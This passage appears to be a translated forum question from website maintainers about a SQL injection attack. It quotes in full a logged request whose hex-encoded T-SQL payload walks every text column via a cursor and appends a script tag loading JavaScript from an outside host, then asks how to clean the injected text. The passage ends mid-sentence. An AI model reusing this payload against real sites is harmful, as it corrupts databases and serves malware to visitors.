我有一个面向公众的网站,过去几周一直在接受一些SQL注入攻击.我专门使用参数化存储过程,所以我认为没有成功的攻击,但最近的日志显示了一个有趣的技术:
为清晰起见添加了换行符
http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263 686172283430303029204445434C415245205461626C655F437572736F7220435552534F 5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F 626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69 6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72 20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970 653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420 46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528 404046455443485F5354415455533D302920424547494E20657865632827757064617465 205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C 736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373 7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077 6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73 6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372 73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854 2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043 4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43 7572736F72 AS CHAR(4000));EXEC(@S);&_X="
任何人都可以了解"CAST和EXEC"试图做些什么吗?
我的任务是维护一个最近成为SQL注入攻击受害者的非营利性网站.有人利用网站上的表单将文本添加到数据库中的每个可用的类文本字段(varchar,nvarchar等),当呈现为HTML时,包括并执行JavaScript文件.
Google对该网址的搜索表明它来自罗马尼亚或中国境外的垃圾邮件发送者,但现在并不重要.
我通过手动删除了在网站上大多数可见和热门页面上呈现的文本字段中的信息,但我很好奇从网站上其他文本字段中删除文本的最佳编程方式是什么.
显然还有更多需要做的事情(加强网站反对SQL注入,使用降价而不是存储HTML等)并且我正在研究那些但是暂时我真正需要的是一个很好的方式进入并以编程方式删除注入的文本.我知道确切的文本是什么,每次都是一样的,并且它总是附加到任何文本字段的末尾.我不能在这个时候删除数据库中的所有HTML,我不知道什么时候发生这种情况,所以我不能回滚到备份.此外,该站点位于共享主机上,我无法使用SQL Server工具直接连接到数据库.我可以对它执行查询,所以如果有任何方法可以构造一个SQL更新语句来实现"